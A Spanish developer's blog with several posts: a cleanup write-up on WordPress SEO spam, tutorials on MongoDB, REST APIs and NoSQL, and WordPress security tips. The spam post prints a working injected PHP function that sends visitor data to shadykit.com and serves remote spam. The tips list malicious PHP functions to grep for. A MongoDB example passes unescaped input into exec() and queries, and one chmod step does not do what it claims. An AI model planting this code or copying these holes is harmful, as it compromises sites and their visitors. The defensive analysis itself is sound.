Protege tu WordPress contra nuevos tipos de ataques, SEO-SPAM y Pharma spam

Ya sabéis que uno de los servicios que ofrezco como programador analista es la limpieza de servidores, aplicaciones web y gestores de contenidos como WordPress.
Últimamente los crackers (que no hackers de sombrero negro o blackhat hacker) se las están ingeniendo para hacer la vida imposible a los pobres usuarios de WordPress.
Entre los ataques más difíciles que he encontrado está el nuevo tipo de ataque que va directamente a destinado a los robots de buscadores, como puede ser el Google Bot Spider, por ejemplo.

Lo primero que hacen es buscar una vulnerabilidad potencial en usando ciertas cadenas que les permiten encontrar sitios desactualizados, donde lanzar el ataque, que es básicamente, modificar un fichero de vuestros plugins,temas o el propio núcleo de WordPress para hacer que vuestro sistema de forma transparente, coloque spam gestionado desde el exterior.

Este caso en concreto me resultó extremadamente difícil de encontrar porque se había sobreescrito el fichero de WordPress
./wp-includes/post-template.php
utilizando un agujero de seguridad en uno de los plugins del cliente, no recuerdo si era js_composer, rev_slider ó uno de esos frameworks que tienen fallos de seguridad en sus gigantescos boostrap llenos de ficheros javascript y php con vulnerabilidades.

En dicho post-template.php, el atacante reemplazaba la función the_content por esta otra:

function the_content( $more_link_text = null, $strip_teaser = false) {
	$content = get_the_content( $more_link_text, $strip_teaser );
	$content = apply_filters( 'the_content', $content );
	$content = str_replace( ']]>', ']]>', $content );
 
	if (defined('WP_LOAD_FLAG')) {
		echo $content;
		return;
	}
 
	define('WP_LOAD_FLAG', true);
 
	$input['REMOTE_ADDR'] = isset($_SERVER['REMOTE_ADDR']) ?
          $_SERVER['REMOTE_ADDR'] : null;
	$input['SERVER_NAME'] = isset($_SERVER['SERVER_NAME']) ?
          $_SERVER['SERVER_NAME'] : null;
	$input['REQUEST_URI'] = isset($_SERVER['REQUEST_URI']) ? 
          $_SERVER['REQUEST_URI'] : null;
	$input['HTTP_USER_AGENT'] = isset($_SERVER['HTTP_USER_AGENT']) ? 
          $_SERVER['HTTP_USER_AGENT'] : null;
 
	$value = 'p=' . urlencode(base64_encode(serialize($input)));
 
	$request  = "POST /api/link/ HTTP/1.1\r\n";
	$request .= "Host: shadykit.com\r\n";
	$request .= "Connection: close\r\n";
	$request .= "Content-Type: application/x-www-form-urlencoded\r\n";
	$request .= "Content-Length: " . strlen($value) . "\r\n";
	$request .= "\r\n";
	$request .= $value;
 
	$data = '';
 
	$socket = @fsockopen('shadykit.com', 80, $errno, $errstr, 10);
	if ($socket) {
		$response = null;
		stream_set_timeout($socket, 10);
		fwrite($socket, $request);
		while (!feof($socket)) {
			$response .= fgets($socket, 1024);
		}
		fclose($socket);
		preg_match('/Content-Length: ([0-9]+)/', $response, $parts);
		if ($parts[1] != 0) {
			@$data = gzuncompress(substr($response, - $parts[1]));
		}
	}
 
	echo $data . $content;
}

es bastante inteligente, abre el contenido de la url del blog de WP encriptada (para que al devolver el contenido se sobreescriban las cabeceras desencriptadas al devolver el resultado y no se sospeche, supongo) , e inyectar el contenido justo antes de la divisón del contenido que estemos imprimiendo con la función the_content, ya sea en un page.php, o cualquier otro tipo de plantilla de nuestro tema de WordPress. Para saber si mostrar o no el spam y qué mostrar, el cracker usa su propio código en el servidor, generando el texto más adecuado al ataque spam destinado a tu sitio en concreto, quizás le interesará más un dispositivo móvil o un buscador que un PC, usará palabras asociadas al idioma de la web origen y generará una historia que vincule su anillo de sitios webs atacados para generar mejor rating de sus propios enlaces. Una genialidad, del mal,claro jaja

Esta función lo que debería tener es lo siguiente:

function the_content( $more_link_text = null, $strip_teaser = false) {
        $content = get_the_content( $more_link_text, $strip_teaser );
        $content = apply_filters( 'the_content', $content );
        $content = str_replace( ']]>', ']]>', $content );
        echo $content;
}

aquí tenéis un enlace con las diferencias.

Si necesitas una limpieza en tu sitio web, contacta conmigo.

MongoDB , NodeJS y API REST

Desde que escribí el post acerca de twitter, de cómo las bases de datos NoSQL revolucionaron las webs con masivas cantidades de datos tenía más ganas de mostraros algunos ejemplos de uso de este tipo de base de datos no relacional, y de cómo podemos utilizarla en nuestro servidor aunque no lo traiga preinstalado.

MongoDB

He estado creando servidores para videojuegos con este motor de base de datos usando mi propio servidor Apache. Aquí tenéis las instrucciones de instalación de la web oficial.
Lo primero que necesitáis es instalarlo en vuestro servidor.
Si tenéis un un host dedicado es más fácil, sino podréis usarlo de otra manera con un truco.

Instalación
1) Descargar MongoDB para servidor GNU/Linux:

curl -O http://downloads.mongodb.org/linux/mongodb-linux-x86_64-2.6.3.tgz

o con wget también:

wget http://downloads.mongodb.org/linux/mongodb-linux-x86_64-2.6.3.tgz

del manual podréis sacar la última versión.

2) Descomprimir en el directorio-de-instalacion-de-mongodb:

tar -zxvf mongodb-linux-x86_64-2.6.3.tgz

3) Exportar el directorio de instalación de mongo para hacer el comando mongo accesible desde cualquier lugar

export PATH=directorio-de-instalacion-de-mongodb/bin:$PATH

4) Crear directorio para almacenar las bases de datos

mkdir directorio-de-instalacion-de-mongodb/data

No recomiendo usar núcleos de 32bits porque es más complicada la instalación y mongo da más problemas en cuanto a funcionamiento, pero todo es posible.

Arrancar y crear una base de datos MongoDB
Ahora que tenemos instalado MongoDB,y hemos creado un directorio para guardar las bases de datos, iremos a su directorio de ejecutables (bin) para que una vez iniciado por primera vez cree el espacio para almacenarlas, también podemos seguir el manual oficial para crear una base de datos de MongoDB:

1) Arrancar

directorio-de-instalacion-de-mongodb/bin/mongo --smallfiles --dbpath directorio-de-instalacion-de-mongodb/data > /dev/null &

La opción smallfiles es para que cree ficheros de journal pequeños, si no la usáis, cada fichero journal tendrá inmediatamente tras crearse (en 5 minutos aproximadamente), nada menos que 1GB cada uno, al usar la opción tendréis ficheros de 64MB a 128MB, lo cual es mucho mejor, con 2 bases de datos, y smallfiles el directorio data puede llegar a pesar unos 600MB aproximadamente. Avisados quedáis :D

2) Crear base de datos, primero lanzamos mongo:

cd directorio-de-instalacion-de-mongodb/bin
./mongo

por defecto intentará conectarse al localhost y el puerto 27017, podéis usar otro servidor y puerto como argumentos del comando mongo.
Para crear la base de datos usamos el comando, dentro de mongo: “use miBaseDeDatos”.
Ya está, sin commits, ni nada más, ahora simplemente podemos usarla desde fuera.

Operar con una base de datos MongoDB
Ya tenemos nuestro motor Mongo funcionando y una base de datos creada, para sacar o meter datos con ella desde la consola lo hacemos usando el comando:

directorio-de-instalacion-de-mongodb/bin/mongo --eval 'comando mongo'

y nos mostrará el resultado en pantalla.
Recordar que existe, igual que ocurre con MySQL y su PHPMyAdmin, un PHPMoAdmin, aquí la lista de software para operar con interfaces.

Si queremos operar con ella desde PHP:

  • Si tienes instalada la extensión de Apache para PHP de Mongo podéis usar directamente la clase MongoClient para operar con las bases de datos de vuestro servidor. Ejemplo de conexión:
    $conexion = new MongoClient(); // conectar a localhost:27017
    // conectar a un host remoto (puerto predeterminado: 27017)
    $conexion = new MongoClient( "mongodb://example.com" ); 
    // conectar a un host remoto en un puerto dado
    $conexion = new MongoClient( "mongodb://example.com:65432" );
  • Si no te es posible acceder a la clase MongoClient es posible que tu Apache no disponga de la extensión de MongoDB de PHP, por lo que tienes que inventar un truco, a mí se me ocurrió, usar directamente el comando mongo como hemos visto antes, hay una instrucción de este comando que es “shellPrint“, con ella podemos obtener el resultado de un comando como texto, que podemos convertir en JSON para PHP con el comando json_decode, así, para ejecutar un comando MongoDB y recibir una respuesta JSON nos bastaría con hacer esto en PhP:
    //donde guardar el resultado de la consulta
     $home = "directorio_temporal/";
    //para guardar el resultado (nombre único) 
     $file = "resul".time().".txt"; 
     $query= 'shellPrint(
     db.miBaseDeDatos.insert(TU_CADENA_DE_DATOS_JSON)
     )';
     //lanzar comando mongo:
     exec('directorio-de-instalacion-de-mongodb/bin/mongo 
    --quiet localhost:27017/miBaseDeDatos --eval \''.$query.'\' >'.$home.$file);
    $result = file_get_contents($home.$file);
    @unlink($home.$file); //borrar resultado
    if (empty($result)) {
      //algo ha ido mal 
      $json= "{}";//cadena JSON VACIA
    } else {
      $json = str_replace(array("[","]","ObjectId("),"", $result);
      $json = str_replace('")','"',$json);
    }
    //crear el contenido JSON:
    $datos = json_decode($json);
    var_dump($datos);

Altas, bajas, modificaciones
Para insertar datos en mongo se usan collections, esto representarían nuestras tablas de SQL de siempre, salvo que todo son datos JSON, insertar una fila sería construir un array ,pasarlo a JSON y hacer un db.coleccion.insert(cadena_json), para buscar un dato, bastaría on usar find en lugar insert, los operadores se colocan dentro de un array de json, especificando primero qué campo debemos comparar, por ejemplo “$ne” es para no igual, $eq para igual, ejemplo:

 $query='shellPrint(db.letters.find(
    {
      username:{$ne:"'.$username. '"}, 
    scene:{$eq:'.intval($scene).'},'.
    'lang:{$eq:'.$lang.'}
    }
  ).toArray())';

este comando buscaría usuarios que no sean el usuario que pide la lista, ni desde el dispositivo que estén en la misma escena de juego que él (o ella xD) y cuyo lenguaje sea el mismo que usa, no olvidar pasar el comando a array con la función toArray del cliente de mongo, de forma que podamos luego convertirla en una cadena JSON y usar json_decode. También podemos usar cómodos arrays de datos y el comando json_encode para hacer la inserción de los mismos en la colección elegida de la base de datos.

Usar un servidor MongoDB externo
Si no podéis usar vuestro propio mongo en vuestro servidor, bien sea porque no tenéis acceso shell o no queréis sobrecargarlo, o cualquier otra cosa, podéis usar un servicio como MongoLab, tiene soporte para usar bases de datos NoSQL, en nube, etc. ,de los proveedores más grandes del mercado, como Google, Amazon o Microsoft. Pero trata los datos de forma transparente de forma que los usaremos como bases de datos mongodb.
Podemos acceder a ellas una vez creadas desde nuestro propio servidor, usando la extensión MongoDB Apache o bien usando el comando “mongo –host tuId.mongolab.com –port 63789 -u usuario -p password basededatos

En otro caso…

API REST

Una API REST es una aplicación web que nos permite mediante POST o GET mandar y obtener datos de un servidor, el intercambio se suele hacer en JSON o XML. Es común usar bloqueo y cifrado de conexiones, conexiones seguras ssl o por vpn, con llaves privadas y públicas, etc, ya que sus operaciones pueden resultar peligrosas.

En el caso de que nuestro servidor nos impida realizar conexiones de sockets externos, como sería ,el poder acceder a nuestra base de datos externa en mongolab, nos veríamos obligados a usar su REST API.

Esta es una manera de hacerlo:

$api = "https://api.mongolab.com/api/1/databases/miBaseDeDatos/%s?apiKey=MI_API_KEY";
$ch = curl_init();
$fields = json_encode(array('username'=>"juaxix"));
curl_setopt($ch, CURLOPT_URL, sprintf($api,"collections/usuarios/"));
curl_setopt($ch, CURLOPT_POSTFIELDS,$fields);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_HTTPHEADER, 
  array(
     "Content-Type: application/json; charset=utf-8",
     'Content-Length: ' . strlen($fields)
  )
 );
curl_setopt($ch, CURLOPT_COOKIEJAR, "cookies.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE, "cookies.txt");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
echo curl_exec($ch);

También podemos realizar las operaciones de alta/baja/modificación usando AJAX:

 $server = "https://api.mongolab.com/api/1/databases/mi-db/".
           "collections/mi-coll?apiKey=miAPIKey";
//Insertar
$.ajax( { url: $server,
	data: JSON.stringify( { "x" : 1 } ),
        type: "POST",
        contentType: "application/json" } );
 //Modificar
 $.ajax( { url: $server.'&q={"_id":1234}',
	data: JSON.stringify( { "$set" : { "x" : 3 } } ),
	type: "PUT",
	contentType: "application/json" } );
//etc

Esta opción es la que uso ahora mismo con mis juegos online, he comprobado que un servidor de este tipo es más rápido que instalarlo en otro que dedica más tiempo de CPU a servir webs con Apache. Es decir, un server dedicado a mongo es mucho mejor, así, tendremos la posibilidad de atender millones de peticiones perfectamente.

Node.js

Si queremos tener un servidor de alta capacidad como Node.js, el cual además se usa para servidores de videojuegos también, seguir los pasos.
1) Para instalar Node.js vamos a su sección de descargas, y realizamos la misma operación que con la instalación de mongodb, descargar, descomprimir, instalar, lanzar, el problema de instarlo en vuestro propio servidor es que necesitaréis acceder a él o bien con un comando CGI o con PHP, de nuevo tenemos Apache como cuello de botella, lo mejor sería tener un servidor sólo con Node, lo bueno de este servidor es la facilidad con la que se pueden hacer aplicaciones en él y su rapidez + capacidad de manejar un gran volumen de usuarios, por otro lado ,las pruebas que estoy haciendo con litespeed (lshttpd) me están dejando muy sorprendido en cuanto a resultados de eficiencia.

Realidad Aumentada y estereoscopia en tu página web

¿Has pensado que puedes añadir información sensible en tu propia tarjeta de tu negocio?.
Imagínate, pones la app de tu empresa en el móvil, frente a la cámara del móvil la tarjeta de tu negocio y zas!, aparece sobre ella un menú en 3D con el que puedes interactuar, añadir capas de información sensible a la localización actual o simplemente un juego.

Aquí hay un ejemplo práctico de lo que se puede hacer:

Está hecho por mí en Unity, se muestran dos botones, el de Estereoscopía muestra una pantalla duplicada, sirve para dispositivos que se colocan delante de nuestra tablet, así, podemos tener la sensación de que los objetos del mundo virtual aparecen en tres dimensiones, la percepción de una perspectiva más cercana a la realidad.
El botón de Realidad Aumentada activa la cámara, al posicionarla frente al “marker”, una imagen que puede ser tu propia tarjeta de tu empresa u otra cosa, entonces aparece el brazo al lado de la chica en 3D. Un ejemplo sencillo de reconocimiento de patrones con la imagen de una cámara y un marcador.

Piensa que se le pueden añadir capas de información dinámicas, es decir, gestionar lo que se mostrará en dicho mundo desde una administración en tu página web.

Las posibilidades son ilimitadas con este tipo de software, el futuro lo marcarán dispositivos como Oculus Rift, Glass, etc. y gracias a las facilidades de las que disponemos con el software sólo hará falta un programador que reúna las piezas y construya lo que necesitemos.

Tarjeta de visita QR + RA para Big1, servicios informáticos
Tarjeta de visita QR + RA para Big1, servicios informáticos

Aquí un ejemplo de un app de realidad aumentada que utiliza el código QR de la tarjeta de visita para mostrar los miembros de la empresa a la que pertenece dicha tarjeta de visita:

 

Cómo crear tu propio Twitter con NoSQL

Hacía tiempo que tenía ganas de escribir algo sobre NoSQL ( Not only SQL ), y algunos clientes me han pedido que les programara una red social varias veces,…desde que Twitter empezó a usar este tipo de base de datos porque MySQL ya tenía hacía un tiempo algunos problemas de latencia, debido a la gran cantidad de datos nuevos a indexar, …pensad que en un día como hoy se generan más de 12 TeraBytes de información de los twitts, es decir, aproximadamente 4 PetaBytes al año, estamos hablando del 2010 y estos datos se doblan cada año, pues multiplicad por 6…casi ná!

Me pregunté , ¿Cómo debería un programador php freelance construir una red social como Twitter o Facebook?

¿Qué hacer con semejante volumen de datos y tenerlo todo ordenado e indexado?, es una tarea colosal, ¿verdad? ,pues bien, los chicos de Twitter nos contaron en el evento Strange Loop de 2010 ( video + audio | pdf  ) que diseñaron estrategias mixtas de bases de datos con NoSQL ,donde MySQL no llegaba a ser suficiente, imagino que los cortes en el servicio de por aquellos entonces tuvieron mucho que ver con esto…normal. Estas estrategias se basan en construir un sistema o arquitectura de sistemas de información integrados…pero…Por qué llegaron a usar NoSQL en Twitter: porque necesitaban recoger todos los datos de forma eficiente de millones de usuarios, guardarlos y analizarlos, algoritmos capaces de “aprender” acerca de la información de estos datos para saber cómo tratarla y optimizarla – indexarla, análisis de grafos sociales, etc.

Luego los problemas a solucionar eran: 1. recoger datos, 2. guardar y analizar los datos, 3. aprendizaje rápido de datos masivos
Ahora comentaré un poco esta presentación:

 

1. Recoger datos masivos [logs]

Empezando por el escritor de logs, empezaron usando syslog pero no era escalable, se colgaba y se perdían datos, por lo que usaron Scribe montado sobre Apache Thrift que si es escalable y también usado por Facebook, es un framework de código abierto que escribe líneas de datos en categorías y hace mucho trabajo por nosotros, ya que colecciona datos de diferentes máquinas en un clúster funcionando de forma local y en red, de forma que se administra para no perder los datos de los nodos, es escalable, jerárquico y permite conectar salidas externas de los datos fácilmente…de modo que usar esta tecnología solucionó el primero de los problemas. Como en Twitter son muy majos, extendieron el framework opensource mejorando la escritura, compresión, monitorización y escritura en HDFS continuando el trabajo con parches de FB lo que hizo posible almacenar más de 12TB al día sin que fuera un drama.

 

2. Guardar y analizar datos masivos

Sí, el que escribe ha mencionado HDFS que viene de Hadoop, un framework para guardar los datos de forma distribuída, es decir, una técnica que permite escribir todos esos datos masivos en un clúster de máquinas, porque ,en fin, ya sabéis que no hay disco duro que pueda escribir tantos datos tan rápido, …por ahora…

Guardar los datos

Esto es algo complejo porque un sistema así necesita replicación automática y tolerancia a fallos, algo que soporta Hadoop. Hay que pensar que esta arquitectura de información funciona como un gran disco duro compartido entre diferentes nodos.

Analizar los datos

 

Además permite MapReduce una tecnología de Google ( ya sabéis que este tiene servidores de alta replicación y aplicaciones distribuidas –google app engine– ) , basado en computación paralela y el par llave-valor de amplio rango…por ejemplo Yahoo! tiene un clúster de 4000 nodos, es capaz de ordenar 1 TB de números aleatorios (índices) en 62 segundos, y además permite empaquetar fácilmente gracias a Cloudera RPM (donde está ahora el creador de Hadoop).

Ejemplo de MapReduce
Ejemplo de MapReduce

Un ejemplo del uso de MapReduce sería una consulta para saber cuántos tweets tiene un usuario, obteniendo los datos de la tabla de tweets, se le pasa una llave que es la columna y el valor es la información del tweet, el mapa de salida tiene una llave que es el id de usuario y un valor numérico, se barajan los datos ordenándolos por este id de usuario y se reducen por la misma razón, una máquina puede hacer esto fácilmente, varias máquinas nos devuelven los datos más rápido, mientras más se usen más rápidamente se devuelve el resultado, la cuestión es cómo balancear la carga…

Uno de los retos sería analizar datos de grafos sociales en relaciones entre usuarios, por ejemplo, los seguidores de alguien, es imposible hacer una consulta MySQL con un self join de una tabla con n-millones de filas…entonces se usa el clúster para hacer más fácil distribuir cálculos que se trata de la diversión que proporciona la computación paralela :D

Hacerlo de esta forma significa que puedes contar todos los tweets, es decir, los más de 20 millones en 5 minutos aproximadamente…

 

3. Aprendizaje rápido de datos masivos

Obtener datos rápidamente de datos masivos

¿Cómo están estructurados los datos almacenados?, están los datos semi-estructurados: logs de apache, logs de consultas, logs RoR, tests A/B, etc., y luego están los datos estructurados: tweets, usuarios, bloques, teléfonos, favoritos, búsquedas guardadas, etc. , por último están los datos complejos: grafos sociales, esto último me pareció lo más interesante pues es algo que usamos todos en twitter, cuando buscamos en la red social información sobre un meta-tag o un usuario o una palabra por ejemplo (conteno, mínimo, máximo, etc.), se devuelve un resultado basado en cientos o miles de capas de información por los que viajan indagando en nuestra consulta…

En este caso, el sistema que utilizan en Twitter para hacer la indagación es conocido como Apache Pig , basado en un lenguaje de alto nivel , capaz de transformar datos de conjuntos y registros y procesarlos mediante transacciones, el lenguaje de pig es un poco diferente al SQL que conocemos…y es normal ya que cuando tienes un fichero muy grande, y que se ha transformado en un conjunto de registros, hay que especificar algunas cosas ,aunque es bastante fácil de entender, veamos un ejemplo de un script que nos propone Kevin Weil en su presentación:

scrip_pig

es un script para contar los 5 primeros tweeteros entre 18 y 25 años ordenados por mayor número de seguidores  y agrupados por urls, se hace un joint, un group y un order limitándolo a 5…esta consulta realizada en Hadoop ocuparía como 100 veces más en código lo cual es algo que nos dice lo que nos estamos ahorrando, de hecho…Pig democratiza el análisis de datos a gran escala, lo que significa usar el 5% del código y el 5% del tiempo que se tardaría normalmente además está optimizado hasta un 20% en tiempo de ejecución, pero, y siempre hay un pero xD,  depende del tipo de consulta que hagas, claro,…debido a lo importante que es ahorrar recursos se preparan muy bien las preguntas, aún así, se utilizan mecanismos automáticos de medida de latencia media, distribución geográfica, etc. que ayudan a recuperar la respuesta más eficientemente…

Aquí un ejemplo de script para buscar con Pig  una url

script_pig_url

Aprendizaje

Es precisamente saber qué consulta hacer lo que le da valor al sistema,y esto sirve para promover la innovación que necesita cada iteración ,al ingeniero, de forma que mientras mejores preguntas y más personas integren el equipo de mejora, más rápido mejorará el sistema.

Resumiendo, en el eco-sistema de Twitter tienen Cloudera: es una distribución libre que se usa desde 2010 en combinación con CDH2 y Hadoop, esto junto con Scribe y LZO, que es ideal para comprimir los datos que se escriben en el HDFS; y, MapRedude implementado en Java (HBase, Hadoop streaming, etc)

Para que las máquinas sepan relacionar mejor los datos se utilizan algoritmos probabilísticos , de covarianza e influencia, algunos criterios por ejemplo serían el uso por parte de clientes de escritorio, móviles y web, correlaciones importantes cuando hablamos de grandes volúmenes de datos.

¿Cómo se puede aprender de lo que los usuarios escriben en twitter?

Evidentemente los fallos del sitio son oportunidades únicas para aprender,

  • ¿qué es lo que fué mal al mismo tiempo?
  • ¿ qué es lo que más se utilizó por parte de los usuarios?
  • A/B testing, etc.

conociendo las preguntas, entonces se pueden buscar correcciones y sugerencias de cambios como respuestas.

Para aprender, las preguntas correctas que debemos formular serían:

  • ¿qué está diciendo un usuario?
  • ¿y sus seguidores?
  • ¿y los usuarios a los que sigue?
  • ¿qué nos dice el ratio de seguidores/seguidos?
  • ¿de qué idioma se trata?
  • ¿son reconocibles los términos utilizados?

y etc.,…estas preguntas generan un gran flujo de información que resulta, entre otras cosas, en la creación de grafos sociales y que nos dan una idea directa de información como puede ser la reputación de ese usuario, de su influencia, en definitiva lo que se aprende son datos aplicables al aprendizaje que pueden ejecutar computadoras.

Estos datos se pueden analizar para buscar patrones, por ejemplo, se puede usar el programa de la FOCA de nuestro hacker español Chema Alonso y descubrir el patrón de movimiento de un usuario gracias a los tweets con meta-información que nos permiten estar geolocalizados, de manera que en un mapa aparecerán nuestras rutas por semana y cosas por el estilo. Otro ejemplo práctico para los administradores de la red social es poder encontrar bots, este script es un ejemplo de cómo se haría:

script_encuentra_bots_pig

 

 

Y hasta aquí he hablado un poco sobre lo que dijo Kevin en 2010 pero si tenéis ganas de más, hay mucho más!, de hecho dentro de muy poco dará lugar un evento acerca del estado actual de NoSQL, en la NoSQL Now! 2013 Conference. Con ponentes de Amazon (que da soporte a Apple y su iCloud por ejemplo), GitHub, RackSpace, etc., y allí contarán las cosas que están de moda jeje

Para nosotros simples mortales con proyectos webs que no alcanzan los millones de visitas al día, ¿qué podemos utilizar?, pues bien, hay varias soluciones, entre las que cabe destacar, además de las utilizadas por Twitter ( Cassandra y Cloudera ), está MongoDB, HyperTable, etc., depende del uso que se le vaya a dar, más información acerca de las más de cien implementaciones de NoSQL en nosql-database.org , de hecho se estuvo estudiando el uso de este tipo de base de datos para WordPress pero como se requiere un grado mayor de relaciones entre entidades no sería tan eficiente y se descartó…

Si lo que queréis es usar PHP y una base de datos NoSQL hay una implementación de API’s para muchas de ellas, por ejemplo para HyperTable, CouchDB, etc., para esta última tenemos PHPillow, pero lo importante es preguntaros para qué las váis a usar, si es para guardar

  • pares de llave/valor ( Riak, Redis, memcached, BigTable etc.)
  • muchas columnas – XML – ( Cassandra, BaseX, eXist, MarkLogic Server etc.)
  • documentos (CouchDB, Jackrabbit, MongoDB, OrientDB, SimpleDB,Terrastore, etc)
  • grafos -objetos- ( AllegroGraph, DEX, Neo4j, FlockDB, Sones GraphDB etc.) , XML

cada una tiene una disponibilidad de los datos (ver teorema de CAP), consistencia y tolerancia de particiones (fallos) diferente, por ejemplo para una bd distribuida basada en pares de llave/valor como Redis se podría escribir un script como este en PHP:

$redis = new PredisClient(9;
$redis->set('miLlave', 'Un valor');
$valor = $redis->get('miLlave');

ok, pues extrapola esto y constrúyete tu propio clon twitter con Redis jaja.

Sin embargo con la aproximación por columnas se puede crear un modelo relacional a medida, tomando como base dimensiones o categorías:columnas_bd_nosqlesto se puede hacer con Cassandra, deberías usarla siempre que necesites guardar más que leer, y que los datos tengan una gran disponibilidad, además trae soporte de Hadoop como hemos visto antes. Hay diferentes implementaciones en PHP como es el caso de phpcassa.

Aquí un ejemplo del uso de los índices de columna de Cassandra escrito en PHP:

 

//Conectar con el espacio de llaves
$basedatos = new ConnectionPool('mi-bd-twitter');
 
//Crear la familia de columnas de usuarios
$usuarios    = new ColumnFamily($basedatos, 'usuarios');
 
//Crear un usuario
$usuarios->insert('6', array('name' => 'Juan Belon',
 'nick' => 'juaxix' ));
 
//Obtener usuario
$usuario = $usuarios->get('6');

 

Ok, hasta ahí para las bases de datos por columnas, como véis es bastante sencillo, de hecho hay algunas implementaciones por ejemplo para MongoDB que usan JSON para comunicarse con las API’s e incluso han creado fáciles administradores en PHP…,ahora,  para el caso de usar una base de datos distribuida orientada a almacenar documentos, sin ningún esquema, donde tienes un “cubo” de pares de llaves/valor dentro de un objeto, es uno de los casos en los que se puede usar un lenguaje más conocido por nosotros amantes del SQL, y MongoDB es lo que a los programadores PHP puede que les guste más porque se pueden escribir líneas de código tales como

$post -> where ( ‘id’  , $id ),

y cosas así, muy parecidas al modelo de datos persistentes de Google App Engine, de hecho hay bastantes implementaciones y herramientas para MongoDB ,supongo que porque es el tipo de base de datos NoSQL más divertida XD …hay un caso para usar con el framework y cms CakePHP, CodeIgniter, Symfony, etc, …veamos un ejemplo con ActiveMongo:

ActiveMongo::connect('mi-bd-twitter', 'localhost');
class Usuario extends ActiveMongo {
 public $nombre;
 public $usuario;
}
 
$usuario = new User();
$usuario->nombre = 'Juan Belon';
$usuario->usuario = 'juaxix';
 
//Insertar usuario
$usuario->save(); // XD qué fácil es ,eh
 
//Actualizar el nombre
$usuario->nombre = 'Juan Belon Perez';
$usuario->save();

así que sería fácil montar un sistema de bibliotecas para almacenar millones de entradas, en el caso de usar CouchDB, echadle un vistazo al link de herramientas de CouchDB con PHP, veréis que es muy parecido y la diferencia radica en que ésta tiene replicación bi-lateral (maestro-maestro) y una API JSON por defecto (en MongoDB es una extensión)…

En el caso en que te decidas por usar una base de datos distribuida basada en grafos (modelo de grafos construído con nodos con propiedades y relaciones ), tienes Neoj4por ejemplo que es totalmente transaccional y tiene una API muy flexible, pero es un poco más complejo de entender y puede que no la entiendas a la primera jeje pero úsala siempre que quieras establecer grafos de relaciones sociales, mapas de carreteras, topologías de red, etc. En PHP tienes NeojPHP, REST API, Thrift, etc. pero como digo, es algo más complejo y menos divertido.

¿Qué base de datos NoSQL usarás para crear tu clon de twitter ahora que sabes todo esto?

Consejos de seguridad para proteger un blog de WordPress

Recientemente algunos clientes me han escrito quejándose de que sus sitios web han sido atacados, en este post voy a hablar sólo de los ataques a blogs de WordPress, de hecho, el hosting que lleva programadorphp.org es atacado diariamente por atacantes/spammers y algunas veces logran hacerse un hueco, así que vienen a mí para que les solucione la papeleta.

INTRODUCCIÓN

Procedencia de los ataques

Normalmente los ataques vienen de agujeros de seguridad en plugins, temas, o el propio motor de WordPress, por eso es importante ir actualizando todo lo rápido que se pueda y tener mecanismos que guarden copias de seguridad periódicamente para recuperar los datos fácilmente.

Los spammers están al día de los agujeros de seguridad y cuando se descubre uno no tienen más que buscar en Google sitios potencialmente vulnerables, esto es, realizan la búsqueda con filtros como “inurl” donde aparezcan los scripts que necesitan “explotar”.

Procedimientos de los spammers (mal llamados hackers)

Lanzan ataques a la lista de sitios web vulnerables y si es fructífero, suben un script con código malicioso que al ejecutarse envían un correo al atacante, por lo que sabremos incluso quién es el spammer…estos no suelen ser muy buenos, pero los hay que sí lo son…

Si tu hosting no te avisa de que tienes un script malicioso en una de tus páginas de WordPress puedes buscarlo por tí mismo, hay software PHP que puede hacerlo por tí, pero en mi caso me gusta hacerlo con una consola SSH, si no tienes acceso siempre puedes subir un shell escrito en PHP y lanzar los comandos desde el navegador, y si no tienes soporte de comandos de consola por el safe_mode o cualquier otra opción de seguridad, lo mejor es que te descargues todo el contenido para analizarlo en local.

Si crees que puedes tener spam en tu blog, usa un buscador como Google con parámetros “site:urldetublog.es”, “inurl:”, y otras técnicas de Black-hat SEO, y busca palabras que los spammers usan en sus anuncios como segundo parámetro, quizás te lleves una sorpresa…

 

Detección

Localizar los ficheros maliciosos

Para encontrar los ficheros maliciosos debes buscar dentro de todos los scripts php las instrucciones del tipo eval, base64_decode, gzinflate, posix_getuid, system, shell_exec, etc. Esto se puede hacer con un script de consola bash o con un programa que busque texto dentro de los ficheros como notepad++ o bien por un plugin de un IDE con FTP que busque dentro de ficheros.

Seguramente habrá ficheros que usen algunas de estas instrucciones y no sean maliciosos, de hecho WordPress los tiene y los necesita para realizar algunas de sus funciones más importantes, del núcleo.

Pero los que sean maliciosos serán bastante sospechosos, contendrán cadenas encriptadas y largas, direcciones de blogs de los propios spammer, y los hay que incluyen una consola shell escrita en PHP completa, extrae información del usuario, del sistema, de los directorios, se copia a sí mismo,…cosas bastante sospechosas , indicios de que el fichero es de un atacante.

Detectar ficheros maliciosos dentro de los temas de WP

Para detectar un script malicioso en un tema lo primero que debes buscar son scripts dentro de directorios como cache, images, etc., hay un agujero de seguridad en timthumb.php que está afectando a millones de blogs hoy en día, debes buscar su reemplazo en seguida, aquí tienes la versión actualizada y parcheada. Si encuentras ficheros con nombres raros con extensión php en la caché, ya sabes que algo raro pasa…Es posible que el script malicioso busque otros ficheros php o genere copias de sí mismo con otros nombres, puedes usar parte del propio código encontrado en un script malicioso para buscarlo en todo el servidor con una expresión regular…

¿Y en los plugins?

Evidentemente, los plugins no se salvan, algunos de los más peligrosos son los que contienen formularios, como cforms, contact-form, etc. Los spammers usan vulnerabilidades encontradas por los hackers buenos para utilizarlos en contra de los que mantienen los blogs.

Si encuentras que hay contenido spam dentro de plugins quizás debas plantearte borrar el plugin por completo y descargarlo de nuevo parcheado o substituirlo por uno más fiable, incluso de cosecha propia.

 

Ejemplo de comando para consola

Para encontrar en todo tu host scripts maliciosos puedes usar un comando como este

$ grep ‘base64_decode’ `find ./ -iname *.php` > results_b64.txt

$ grep ‘eval’ `find ./ -iname *.php` > results_eval.txt

puedes probar con varias expresiones y luego analizar los ficheros encontrados mediante los logs guardados en los ficheros de texto. Es posible que los ficheros tengan nombres codificados y que no tengan la extensión .php ,tenlo en cuenta por si hay códigos maliciosos escondidos en ficheros aparentemente inofensivos pero de contenido codificado, por ejemplo, en base64.

 

Qué hacer con los ficheros maliciosos

Debes copiarlos a tu ordenador para poder analizarlos con más detenimiento, si los administradores del hosting no han des-habilitado los scripts/directorios en cuestión es mejor que les quites los permisos de ejecución y les dejes sólo los de lectura, esto se puede hacer por FTP o bien usando el comando

$ chmod +r -R ./directorio_de_mi_blog
